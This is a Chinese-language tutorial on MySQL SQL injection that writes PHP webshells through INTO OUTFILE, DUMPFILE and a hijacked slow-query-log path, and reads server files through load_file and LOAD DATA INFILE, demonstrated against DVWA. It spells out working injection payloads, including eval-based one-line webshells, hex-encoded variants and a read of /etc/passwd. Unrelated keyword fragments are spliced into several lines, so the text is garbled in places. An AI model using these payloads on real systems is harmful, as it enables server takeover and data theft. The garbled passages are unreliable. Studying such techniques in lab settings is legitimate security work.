sqli-Mysql写shell读⽂件⽬录
1 导出函数写shell
利⽤Mysql的导出函数直接写⼀个可访问的webshell
1.1 条件
1. ⽹站可访问路径的绝对路径
报错
输⼊异常值让脚本主动报错,或googlehacking⽬标的脚本报错信息
phpinfo
扫⽬录phpinfo
推测
⽬标可能使⽤集成安装包,如phpstudy C:\phpStudy\WWW\C:\phpStudy\WWW\域名\
枚举
⾼频绝对路径
2. secure_file_priv 的值⾮NULL或包含了导出的绝对路径
secure_file_priv的值在mysql配置⽂件my.ini中设置,这个参数⽤来限制数据导⼊导出
Mysql>=5.5.53 默认为NULL,即默认禁⽌导⼊导出
Mysql<5.5.53 默认为空,即默认⽆限制
javascript按钮点击事件
secure_file_priv值为NULL = 禁⽌导⼊导出
secure_file_priv值⽆具体值/为空 = ⽆限制
secure_file_priv值为某⽬录 = 仅允许在该⽬录下导⼊导出
查看secure_file_priv值的⽅法
show global variables like '%secure%';
3. mysql服务有对⽹站可访问路径的写权限
4. mysql连接⽤户有FILE权限/ROOT⽤户或ROOT权限
select file_priv from mysql.user;
5. GPC关闭//未对闭合⽤的引号转义
outfile 和 dumpfile的路径不⽀持hex,必须有引号包裹
1.2 导出函数:outfile 和 dumpfile
outfile
select '<?php phpinfo(); ?>' into outfile "C:\\phpStudy\\MySQL\\bin\\1.php";
select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
需要注意的点:
1. outfile 可导出多⾏,并会在每⾏的结束加上换⾏符
如果test表中的内容有多⾏
导出效果
2. outfile 将数据写到⽂件⾥时有特殊的格式转换
a\naa\raaaa写⼊时\n被转义,并且⽂件末尾加了⼀个新⾏
导致写shell时要注意特殊字符
3. outfile 的路径不能是0x开头或者char转换以后的路径,只能是引号包裹的路径
导致写shell时⽆法通过hex编码或char()来bypass引号转义等
4. ⽂件不能覆盖写⼊,所以写⼊⽂件必须为不存在
dumpfile
select '<?php phpinfo(); ?>' into dumpfile "C:\\phpStudy\\MySQL\\bin\\1.php";
select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
需要注意的点:
1. dumpfile 只能导出⼀⾏
2. dumpfile 在写⽂件时会保持⽂件的原⽣内容/原数据格式,适合写⼆进制⽂件,如exe⽂件,udf提权的dll⽂件
3. dumpfile 的路径不能是0x开头或者char转换以后的路径
新手学软件编程入门4. ⽂件不能覆盖写⼊,所以写⼊⽂件必须为不存在
补充:利⽤导出函数的补充参数写shell
emqx服务器搭建select * from student into outfile "C:/phpStudy/MySQL/bin/test.php" LINES STARTING BY '<?php @eval($_POST[pass]);?>';
FIELDS TERMINATED BY ','    = 字段值之间以,分割
OPTIONALLY ENCLOSED BY ' " '    = 字段值以"包裹
LINES TERMINATED BY '\n'    = 设置每⾏数据结尾的字符为换⾏符
mysql怎么读英语
某些情况,如select只有⼀个数字型字段,联合查询⽆法写shell或注⼊点在limit等不能union的语句之后
1.3 写shell演⽰
dvwa-low-sqli
1. ⼀句话 outfile 直接写
直接写
-1' union select 1,"<?php @eval($_POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"#
shell HEX编码
id=-1' union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile
"C:/phpStudy/WWW/shell.php"#
写⼊成功,连接测试成功
2. ⼀句话写⼊数据库再 outfile
因为dvwa-low-sqli使⽤的是 mysqli_query() ,⼀次执⾏⼀条sql语句,⽆法堆叠,修改成 mysqli_multi_query 演⽰
id=-1';insert into dvwa.guestbook values (2,"<?php @eval($_POST['c']);?>","shell") ;#
id=-1' union select comment,name from dvwa.guestbook into outfile 'C:/phpStudy/WWW/shell.php';#
写⼊成功,连接测试成功
2 ⽇志写shell
将⽇志改为脚本⽂件,将shell记录进⽇志来写shell
2.1 条件
与导出函数写Shell相⽐,规避了 secure_file_priv 的限制
1. ⽹站可访问路径的绝对路径
2. mysql服务有对⽹站可访问路径的写权限mysql workbench做成表
3. mysql连接⽤户有权限开启⽇志记录和更换⽇志路径
4. GPC关闭/未对闭合⽤的引号转义
虽然⽇志路径可以hex编码,但被记⼊⽇志的查询语句中的shell内容需要引号包裹,加\后传到数据库执⾏会报错,⽆法记录进⽇志2.2 mysql⽇志
慢查询⽇志
慢查询⽇志是⽤来记录执⾏时间超过指定时间的查询语句。
sublime text编辑器
查看⽇志情况:SHOW GLOBAL VARIABLES LIKE '%log%';
slow_query_log :表⽰慢查询⽇志是否开启,ON表⽰开启,OFF表⽰未开启,默认OFF
slow_query_log_file :表⽰慢查询⽇志⽂件的路径
查看超过多少时间会被记录慢查询⽇志(默认10s):SHOW GLOBAL VARIABLES LIKE 'long%';
其中,⽇志⽂件可以改路径也可以改⽂件后缀,这意味着可以将其改成⽹站⽬录下的php脚本⽂件,再通过慢查询将shell写⼊,最后成为webshell
开启慢查询⽇志:set global slow_query_log = 1;
更改⽇志路径:set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';
完成时间⼤于10s的sql语句会被记录进慢查询⽇志,如:select * from users where sleep(11);
补充:⽇志路径可以hex编码
set global slow_query_log_file=0x433A2F70687053747564792F5757572F6C6F677368656C6C2E706870;
其他⽇志
错误⽇志变量log_error只读,只能通过修改mysql配置⽂件改路径,不能利⽤
事务⽇志、⼆进制⽇志和错误⽇志⼀样,只能通过修改mysql配置⽂件改路径,不能利⽤
2.3 演⽰
dvwa-low-sqli,修改mysqli_query() 为 mysqli_multi_query 演⽰
1. 开启⽇志并修改⽇志为⽹站路径下的脚本
-1';set global slow_query_log = 1;set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';#
2. 执⾏包含Shell的查询语句并使⽤sleep(11)让语句记录进慢查询⽇志脚本
-1';select "<?php eval($_POST[log]);?>" from users where sleep(11);#
3. 连接成功
3 读⽂件函数读⽂件
3.1 条件
1. 所读⽂件的绝对路径
2. secure_file_priv 的值⾮NULL或包含了所读⽂件的绝对路径
3. mysql服务有对所读⽂件的读权限
4. mysql连接⽤户有FILE权限/ROOT⽤户或ROOT权限
3.2 读⽂件函数:load_file()
load_file()
select load_file('绝对路径');
与outfile/dumpfile不同的是,load_file的路径可被hex编码
select load_file(0x2F6574632F706173737764);
3.3 演⽰
dvwa-low-sqli
load_file()
-1'union select 1,load_file('C:/phpStudy/');#
-1'union select 1,load_file(0x433A2F70687053747564792F5757572F726561646D652E747874);# 4 导⼊语句load data infile()读⽂件
4.1 条件
1. 所读⽂件的绝对路径
2. secure_file_priv 的值⾮NULL或包含了所读⽂件的绝对路径
3. mysql服务有对所读⽂件的读权限
4. mysql连接⽤户有FILE权限/如果指定LOCAL关键词则⽆需FILE权限
5. 如果是mysql8,需要SET GLOBAL local_infile=1;
4.2 load data infile()
load data infile()
将所读⽂件内容存储到表中
load data [local] infile '/etc/passwd' into table result;
如果指定LOCAL关键词,则表明从客户端的主机上按路径读取⽂件,适合站库分离,⽆需FILE权限。
5 参考

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。